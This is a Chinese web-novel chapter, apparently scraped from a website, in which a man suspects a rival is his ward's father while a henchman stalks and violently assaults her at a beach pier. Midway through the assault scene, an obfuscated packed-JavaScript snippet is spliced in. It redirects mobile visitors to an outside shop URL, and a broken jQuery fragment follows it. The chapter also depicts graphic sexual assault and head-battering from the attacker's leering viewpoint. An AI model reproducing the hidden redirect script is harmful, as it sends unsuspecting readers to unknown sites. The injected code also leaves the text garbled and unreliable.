小舒有亲生父亲。
凌乔是她父亲?
应劭霖在屋里想了半天,他下到一楼,来到屋后泳池。
女孩正躺在泳池边的躺椅上午睡,旁边地上放着装有驱蚊胺的小玻璃瓶。阿单坐在对面,长臂伸着,在给她扇扇子。
应劭霖走过去,把漫画书从她脸上拿走。他坐下看小舒这张嫩得和脆苹果一样的小脸,再对比凌乔那张老脸...
不像。
简直一点都不像。
应劭霖仔仔细细观察她的五官,最后目光落在她鼻子上,非要说的话,小舒还是和他更像一些。他们俩都是高鼻梁。
凌乔长相普通,怎么可能生出小舒这种天使一样的孩子?
应该是巧合。
绝对是巧合。
但他得确认一下。
阿单看见他朝他伸手,一时没反应过来,直到他说了两个字“扇子”,阿单把扇子递了过去。
应劭霖挥挥手说:“你进去吧。晚上我们再去Joey那儿一趟。”
他说着,径自躺在了她身侧。
这是单人躺椅,他只能搭个边,脚还支着地。
应劭霖抬手给她扇着风,扇面也喷了驱蚊液,风里阵阵清香。
热带水边是蚊蝇最多的地方。他想起,之前谁说过一嘴,有更高端更独立的度假岛屿,会定期释放基因改造过的、产卵无法孵化的蚊子,用来消灭岛上蚊子种群。
回头他留意一下。下次带小舒去那,她就不用害怕被蚊子叮了。
这次都是因为凌乔....一想到那个人名字,应劭霖就烦躁皱眉。
他一个老男人,五十岁都没结婚没孩子,要是知道自己还有一个女儿,他会不会逼她相认?
小舒的成长他一天都没参与,他一丁点儿父亲的责任都没尽。他怎么有脸呢?
不过,就算想要回女儿,小舒也不会认他的。她只认感情。
这么一想,应劭霖心里舒服多了。
他侧头盯着小舒瞧,她熟睡的模样和小时候别无二致。虽然成年了,但两腮还是鼓鼓的。
她妈和外婆都是古典乐界有名的美人,一家子稳定的漂亮基因,她再长大点,肉消瘦一些会更像她们。
他注视着她头越睡越低,软乎乎的脸颊不自觉地贴上他肩头。应劭霖也不再思考,继续静静给她扇风。
小舒醒来看见他,迟了两秒,喊他:“Daniel。”
“阿单呢?”她问。之前是他在这的。
“他早走了。”应劭霖也不在意她叫他什么。他把她头扶起来,问她:“怎么在这儿睡?不嫌热?”
他给她刘海儿拨到一边,额头都湿了。
江凌舒看他手里的扇子,想他是一直在这里帮她扇风吗?怪不得她不觉得热,空气流通自然凉爽,睡在这里比房间还舒服。
她动了动嘴唇说:“谢谢。”
这什么话?应劭霖掐了一把她脸,笑道:“你还在生我气?”
他解释:“阿单身份特殊,他照片传出去会很危险。想要他安全,就一张都不能留。”
江凌舒垂下睫毛,“嗯,我知道。”
阿单刚刚和她说了,他还为她的眼泪和她道歉。
她说没关系。她的眼泪不是因为他。
“知道还生气?”
“没有生气。”
“那你跟我假客气。”
“那我该说什么呢?”
她突然坐直身子,眼睛直直地望着他。
那双大眼睛里流露出一抹幽怨。应劭霖心头一动,明白她气什么了。
他拍拍她的头,笑着说:“你说什么都行。”
他要走,一双手臂拦住他的腰。
“不行。你要告诉我。”小舒紧紧抱住他闭上眼,恳求他:“哥哥你告诉我!我该说什么?”
“......
“你说什么我都愿意听。”应劭霖摸摸她的手,把两只胳膊强行扯开,回头跟她讲:“Ceci,今晚我要跟人吃饭,我要去准备一下。
“等下我叫管家来陪你,你晚上想吃什么跟他说。
“听话,好好在家待着,别乱跑。”
他又捏了一把她的脸,面带笑容走了。
*
这些年,他们没有过这么长的休整时间,更没如此安逸地度过假。男人回屋时,阿单正在屋里无所事事。
应劭霖看他一眼,又回头关门,看泳池尽头的长椅,想想说:“你今晚在家陪她。”
可以。阿单问他:“Daniel,你去做什么?”
“我去Joey那里,薅他几根头发,或者捅他几滴血回来。”
阿单愣了愣,坚决道:“我跟你去。”
上次去Joey那里,他观察过,他那房子附近有至少二十个警卫。
阿单不明白Daniel要那些东西干嘛用,但他真要干,干完肯定不好抽身。他们两个去就没问题了。
应劭霖还是说:“你留在家陪她。我看你挺会哄小女孩的。”
阿单默了一瞬,摇头说:“她更想要你陪。”
应劭霖瞥他一眼,回头叹了口气,望着水边的影子,他心想,Ceci哪里是要他陪,她是恨不得绑在他身上。
“你妹妹以前也这么黏人?”出发时,应劭霖问阿单。
阿单以前也有个妹妹,亲生的,后来死了。
阿单回答:“不,她怕我。”
哦对,差点忘了。应劭霖想起那个黑瘦黑瘦的小女孩,她看他们的眼神总是畏畏缩缩的。
小舒倒是不怕他。
比“怕”更麻烦,小舒爱他。
小舒从小就爱他。应劭霖一直都知道。
*
垂钓是凌乔的爱好之一。他也是个中高手,一天下来收获颇丰。
出海回来,他让厨师处理食材,自己洗了个澡,休息看了会儿书。
晚饭做好,凌乔正准备享受劳动成果,管家说有人拜访,还是那位应总。
年近半百的丰富阅历,凌乔不是没见过比他还厚颜无耻的人,他略一思索,让管家放他进来。
应劭霖进来看见他满桌海鲜盛宴,干脆也往餐桌前一坐,笑着说:“这么巧。没想到我们今天心有灵犀,Joey总竟然也设宴等我。
“早知道我就早点来了。让上了年纪的人等太久,实在不好意思。”
凌乔保持微笑,礼貌问他:“你找我,还有事?”
“没什么事。这次打扰了Joey总的度假,我思来想去实在过意不去,特地来赔礼道歉。”
应劭霖招手,让人把盘子放桌子中间,笑道:“听说Joey总在德国生活过很长时间,正好我也是德国长大的,所以让人做了两道德国菜,带来给你品鉴一下。”
凌乔看看菜,又看看他。
想起他上次的“华人”论调,凌乔微微一笑,“夸赞”他:“没想到应总年纪轻轻,还是位‘世界公民’。”
随便他怎么讽刺。应劭霖还是指着菜说:“这是‘Gefullte Aubergine’,德式酿茄子,用的我外公家的秘方,Joey总尝尝看。”
凌乔打量这道菜,眨眼间,思绪翻涌。
半天,他坦诚地摇头:“抱歉应总,无福享受,我对茄子过敏。”
“过敏?”
他也过敏?
桌子下面,应劭霖拳头都握紧了,想,他凭什么也茄子过敏?
“按照概率讲,应总应该没见过几个茄子过敏的人。”
凌乔扶了下镜框,缓缓地说:“你专门带这道菜来,让我觉得,那恐怕不是一个巧合。”
那个女孩——
阿叻已经跟了她一路了。
他们计划今晚就要回香港。福叔正在收拾行李。阿叻找遍全屋发现那个女人不见了,便急忙出来寻找,没想到,恰好碰见了那位大佬的妹妹在露天酒吧看表演。
那天机场远远一瞥,阿叻都没看清她的脸,光听声音就被勾起了火。
一想马上就要走了,这样的美女他一辈子都再难见到,阿叻索性不再去找那个洋婆,找了个角落偷偷瞄她。
女孩身边跟着一个管家,是岛上派的服务人员。
她文静地坐在椅子里,手边放着一杯橙汁。
阿叻看见她吸一大口,把小脸撑得圆圆的,嘴里含着果汁,再一小口小一口咽下去。她纤长的脖颈,喉咙每滚动一下,阿叻喉头也跟着发紧,直咽口水。
他赶紧要了两杯加冰的酒,想压下着火的念头,没想到这酒精一下肚,把邪念越燃越旺。
土著乐队表演的期间,有几位穿着体面的男人过去那桌搭讪,要么被管家婉言挡了,要么被女孩摇头拒绝了。
阿叻看她是被搭讪搭烦了,表演也不看了,跑去下面海边散步。
那管家一步不离跟着她。
阿叻也跟了一会儿,感觉时间差不多了,他沮丧地垂头,拍大腿后悔自己没胆子上前说两句话。
正要走,他又看见她回头说了几句话把管家遣走了。
她一个人,孤零零地走向幽静处的栈桥,脱掉鞋,坐在栈桥边,把双脚放进海浪里拨弄。洁白双脚就像两条鱼,在漆黑浪里跳跃,时隐时现。
阿叻也不知道自己是怎么了,两条腿灌了铅似的走不动道。
他心里清楚,再不回去就要耽误飞机了,福叔肯定要责骂他。
之前他偷偷讨要Lucia,福叔知道已经用竹篾抽过他一顿了。他还告诉了东家。
等回到香港,恐怕一落地他就会被带走,东家不会让他有好果子吃。
而且传言里,他们东家一直在养“灵体”给自己改运续命。那灵体需要活人身上扎窟窿眼,用绳吊着,血一点一点滴进去喂养。
虽然仅仅是传言,但恐惧推着阿叻往前迈了一步。
没想到作为更大罪恶受害者的恐惧,竟然成了此刻他欲行小恶的勇气——反正都是死。阿叻心里念着这句话,挪动着步子朝她走过去。
到能看清她耳朵上耳坠的距离,女孩动作停了。
听见有人走近,江凌舒抹干眼泪,站起来穿上鞋,顺着栈道离开。
栈桥边本来还有灯照亮,防止人不注意跌进海里。
看见她起身走向没有人的廊道,阿叻脑子里就只剩下“没有人”三个字了。
他小跑赶上她。
还有二十米左右,她又站定回头,目光一眼锁定了他。
阿叻看见她含着泪光的眼睛,嘴唇红艳,楚楚可怜的模样在望着他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648672|205621||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他身体一僵,女孩的柔弱反而激起了他想狠狠蹂/躏她的谷欠望。
阿叻装作喝醉,朝她走,故意喊她:“Lucia,你怎么跑这来了?我找你好久,快跟我走....”
江凌舒认出他是福叔身边的人。但听见他这个声音,她几乎没有犹豫地掉头就走。
这声音让她感到危险,心里警铃大作。
他还追她,她抬脚跑更快了。
她一跑,阿叻都忘了自己要干嘛,他满脑子只想着她是要去告状!他完了!他完了!
眼看她要跑出没灯的地方,阿叻大喊一声:“Daniel把你送给我了,你跑什么!”他是为了到时候有托词辩解。
没想到,他刚喊一声,女孩脚步一颤,被台阶绊倒了。头顶刺眼的灯光罩住她,像笼住一只失明的兔子。
通的一声。阿叻心里轰鸣,趁机过去抓住她的脚踝,奋力一拽,把她拽进旁边黑咕隆咚的树丛里。
落地瞬间,江凌舒头撞到了椰子树树干。她眼前一黑又一黑,几秒钟里身体都没了知觉。
听见痛呼,阿叻又想起那天她的娇声软语,抓起她嫩白小腿急不可耐地咬了一口。
她又痛得叫了一声,激得男人下了死口,咬得血珠都冒出来了。
从没有过的疼痛,咬得江凌舒眼泪直流,更大声尖叫,下意识喊救命。
怕她把人招来,阿叻急忙揪住她头发,把她头用力往地上磕,重重好几下,女孩彻底没了声音。
阿叻浑身流汗,瘫坐一旁,看她不动弹,他用手试探她呼吸。还有气。
他深呼吸,自己也喘匀两口气,然后环顾四周,手忙脚乱把她拖进更隐蔽的地方。
事情干到这一步,没有回头的余地了。
阿叻反而平静了,拨开她头发,抓了两把她脸蛋,虽然她脸上有泥有血,但不影响他想狠狠亲这张脸的谷欠望。
他把她放平整,四肢摊开。他弯腰趴到她身上,死死搂住她,抚/摸她。
死都值了——阿叻终于感受到,什么叫能让男人骨头都发酥的尤/物。
光是紧贝占着这副身躯,他都激动地“吁”了两声。
缓了片刻他才伸出舌头,开始舌忝她的脸......
舌忝得太专注,他没注意到身后出现个人。那人用枪把狠狠敲他脑袋,阿叻身子一歪,当即倒在了旁边。
来人把他踢开,又朝他脑袋狠踢了几脚。
他把外套罩在女孩身上,把她抱到干净地方,对着她的脸拍了几张照片,又给她整理头发,顺手带走她两根发丝装进袋子里。
做完这些,那人拨出一个电话。
餐厅里,两个男人虚与委蛇地聊着天。
得知凌乔也对茄子过敏,应劭霖本想直接打道回府。
没想到凌乔开口,说“来都来了”,一定留他们俩吃饭。
应劭霖便打手势想让阿单先回家。
阿单觉得这个Joey今天反常,他担心Daniel一个人应付不过来,没有走。
应劭霖看他两眼,也没说什么。他在心里盘算,小舒今天还没练琴。
她每天至少要练四小时,晚上肯定不会乱跑,会留在家里练琴。
按她习惯是如此,可他脑袋里又不断回响,下午泳池边他转身走的时候,她在后面伤心地喊他“哥哥”。
随着时间一分一秒过去,他心脏砰砰跳动,越来越快,就快窒/息......
闭了闭眼,应劭霖起身说:“今天就到这吧,Joey总,我得先回去了。家里还有人等着呢。”
凌乔笑说:“什么人啊,这么急?时间还早呢。我这壶水刚烧开,应总,坐下喝杯茶再走。”
“晚上喝茶我睡不着。”应劭霖边退边说:“下次吧。”
凌乔还想留他,突然手机来了电话。
他看一眼,当着他们面接起来。
应劭霖和阿单看着他接,可他们俩都没有小舒那么敏锐的耳朵,听不见里面说什么。
他们只看见凌乔脸色陡然一变,墨镜后的目光抛向他们。
“我刚得到一个不太好的消息。”
凌乔拿起外套,在他们俩面前站定,说:“应总,今天你游艇上的女孩,她出了点意外,我的人刚好路过救了她。我的医疗团队正在——”
他话没说完,坚硬的拳头一拳砸向他。
力道之大,凌乔吐出一大口血的同时,还吐出来半颗牙。
应劭霖揍完他,立马揪住他领子给他拽回来,把枪抵到他太阳穴。
他静静扫了一眼屋里屋外的保镖,最后低头,拿袖子给凌乔擦了擦嘴边的血。
“麻烦凌总带路。”
他推着他走出屋。阿单跟在后面,挡住他后背。
凌乔一面咳嗽,一面抬手,让那些保镖“放下枪”。
“应总,这是个误会。你听我说完。”
“见到人我再慢慢听你说。”
应劭霖挟持他上了车,胳膊夹着他脖子问他:“你知道她是我什么人吗?”
凌乔面上一怔,他也想问,那女孩和他什么关系。他前几天刚送他一个“礼物”....
应劭霖笑容森然地看着他,说:“她是我未婚妻。我一时情急难以自控,凌总理解一下。”